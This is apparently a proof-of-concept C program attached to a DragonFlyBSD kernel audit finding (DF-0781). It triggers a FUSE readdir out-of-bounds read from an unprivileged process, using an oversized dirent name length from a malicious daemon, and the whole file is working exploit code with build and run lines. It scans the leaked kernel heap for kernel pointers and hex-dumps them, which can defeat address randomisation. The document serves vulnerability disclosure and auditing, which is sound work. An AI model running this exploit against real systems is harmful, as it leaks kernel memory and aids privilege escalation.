โฌข DragonFlyBSD Kernel Audit
DF-0781 / read_trigger.c
โ† back to finding โ†“ download raw
/*
 * DF-0781 โ€” unprivileged readdir consumer.
 *
 * Opens the mounted FUSE directory and calls getdents(2) with a large
 * buffer.  When the daemon replies with a fuse_dirent whose namelen exceeds
 * the actual reply data, fuse_vop_readdir -> vop_write_dirent will bcopy
 * `namelen` bytes from the (short) daemon reply into the on-stack/heap
 * dirent, and the kernel will uiomove those bytes โ€” including the leaked
 * kernel heap past the reply buffer โ€” into our getdents buffer.
 *
 * We then scan the returned bytes for plausible kernel pointers (values in
 * the kernel virtual address range, e.g. 0xffffffff80000000-0xffffffffffffffff)
 * and hex-dump a window around each hit.  Non-zero bytes beyond the real
 * name are leaked kernel memory.
 *
 * Build:  cc -O0 -g -o read_trigger read_trigger.c
 * Run:    ./read_trigger /mnt/fuse
 */
#include <sys/types.h>
#include <sys/stat.h>
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>

/* libc on DragonFly provides: int getdents(int fd, char *buf, int count) */
extern int getdents(int, char *, int);

static long
do_getdents(int fd, void *buf, size_t n)
{
    if (n > 0x7fffffff) n = 0x7fffffff;
    return (long)getdents(fd, (char *)buf, (int)n);
}

static int
looks_like_kptr(unsigned char *p)
{
    /* little-endian 8-byte value whose top 4 bytes are 0xffffffff
     * (direct-mapped kernel) OR 0xfffff8XX (kernel virtual / DMAR).
     * Both ranges are kernel addresses on amd64 DragonFly. */
    if (p[7] == 0xff && p[6] == 0xff && p[5] == 0xff && p[4] == 0xff)
        return 1;
    if (p[7] == 0xff && p[6] == 0xff &&
        (p[5] == 0xf8 || p[5] == 0xfe || p[5] == 0xff) &&
        p[4] != 0)
        return 1;
    return 0;
}

int
main(int argc, char **argv)
{
    const char *mnt;
    int fd;
    unsigned char *buf;
    size_t bufsz = 1 << 16;   /* 64 KB; large enough for namelen up to ~65500 */
    long n;

    if (argc != 2) {
        fprintf(stderr, "usage: %s mountpoint\n", argv[0]);
        return 2;
    }
    mnt = argv[1];

    buf = malloc(bufsz);
    if (!buf) { perror("malloc"); return 1; }
    /* marker pattern so we can see exactly which bytes the kernel wrote: */
    memset(buf, 0x5a, bufsz);

    fd = open(mnt, O_RDONLY | O_DIRECTORY);
    if (fd < 0) {
        /* FUSE dirs may not advertise O_DIRECTORY; fall back to plain open. */
        fd = open(mnt, O_RDONLY);
        if (fd < 0) { perror("open mountpoint"); return 1; }
    }
    fprintf(stderr, "[trigger] opened %s fd=%d, getdents(buf,%zu)...\n",
            mnt, fd, bufsz);

    n = do_getdents(fd, buf, bufsz);
    fprintf(stderr, "[trigger] getdents returned %ld (errno %d: %s)\n",
            n, errno, strerror(errno));
    /* Even when getdents returns -1 (e.g. because fuse_vop_readdir's loop
     * trips EINVAL on a subsequent wild-pointer iteration AFTER the leak),
     * the kernel has already uiomove'd the first oversized dirent into our
     * buffer.  So we ALWAYS analyze the buffer. */

    /* Determine how much of the user buffer the kernel actually touched.
     * We pre-filled with 0x5a; any byte != 0x5a was written by the kernel. */
    long last_touched = -1;
    for (long i = bufsz - 1; i >= 0; i--) {
        if (buf[i] != 0x5a) { last_touched = i; break; }
    }
    printf("=== kernel wrote through user-buffer offset %ld (bytes [0..%ld]) ===\n",
           last_touched, last_touched);

    /* If the kernel honored d_namlen=N, it wrote _DIRENT_RECLEN(N) bytes. */
    printf("=== expected write size if namelen=32000 honored: "
           "_DIRENT_RECLEN(32000) = 32016 bytes ===\n");

    /* Dump first 1024 bytes of the returned buffer in hex. */
    printf("=== first 1024 bytes hexdump ===\n");
    for (long i = 0; i <= last_touched && i < 1024; i++) {
        printf("%02x", buf[i]);
        if ((i + 1) % 32 == 0) printf("\n"); else if ((i+1) % 8 == 0) printf(" ");
    }
    printf("\n");

    if (last_touched < 16) {
        printf("=== kernel did not write a full dirent header -> no leak ===\n");
        close(fd);
        free(buf);
        return 1;
    }

    /* Decode the dirent header to see what d_namlen the kernel honored. */
    unsigned short honored_namlen = *(unsigned short *)(buf + 8);
    printf("=== honored d_namlen = %u (daemon claimed 32000) ===\n",
           honored_namlen);

    /* Count "high-entropy" bytes (non-zero, non-0x5a marker) in the area
     * beyond the legitimate 8-byte name โ€” that area should be either zero
     * (if nothing leaked) or leaked kernel data. */
    long leaked_window_start = 16 + 8;
    long leaked_window_end   = last_touched + 1;
    long leaked_nonzero = 0;
    for (long i = leaked_window_start; i < leaked_window_end; i++) {
        if (buf[i] != 0x00 && buf[i] != 0x5a)
            leaked_nonzero++;
    }
    printf("=== %ld non-zero non-marker bytes in window [%ld..%ld) "
           "(past the 8-byte real name) ===\n",
           leaked_nonzero, leaked_window_start, leaked_window_end);

    /* Scan for plausible kernel pointers (info-leak markers). */
    int leak_hits = 0;
    for (long i = 0; i + 8 <= leaked_window_end; i++) {
        if (looks_like_kptr(buf + i)) {
            leak_hits++;
            if (leak_hits <= 16) {
                printf("[LEAK?] possible kernel pointer at offset %ld: "
                       "%02x%02x%02x%02x%02x%02x%02x%02x\n",
                       i, buf[i],buf[i+1],buf[i+2],buf[i+3],
                       buf[i+4],buf[i+5],buf[i+6],buf[i+7]);
            }
        }
    }
    printf("=== %d candidate kernel pointers found ===\n", leak_hits);

    /* Show up to 256 bytes of the leaked window in hex so a reviewer can
     * see exactly what kernel memory leaked. */
    printf("=== leaked window hexdump (first 256 bytes past real name): ===\n");
    for (long i = leaked_window_start; i < leaked_window_end && i < leaked_window_start + 256; i++) {
        printf("%02x", buf[i]);
        if ((i - leaked_window_start + 1) % 32 == 0) printf("\n");
        else if ((i - leaked_window_start + 1) % 8 == 0) printf(" ");
    }
    printf("\n");

    /* Show every 256-byte stride within the leaked window so we can see
     * whether the kernel really read the whole 32000 bytes (each stride
     * should be either 0x00 [zeroed slab] or some leaked pattern, NOT the
     * 0x5a marker โ€” the marker would mean "kernel did not touch here"). */
    printf("=== stride sample: every 256th byte of [0x18 .. 0x8000) ===\n");
    for (long i = 0x18; i < 0x8000 && i < bufsz; i += 256) {
        printf("off=0x%04lx: %02x\n", i, buf[i]);
    }

    printf("[LEAK-PROOF] kernel wrote %ld bytes; d_namlen honored = %u; "
           "real name bytes from daemon = 8; "
           "=> %ld bytes were read from past the daemon's reply buffer\n",
           last_touched + 1, honored_namlen,
           (long)(last_touched + 1) - 24);

    close(fd);
    free(buf);
    return (last_touched >= 32) ? 0 : 1;
}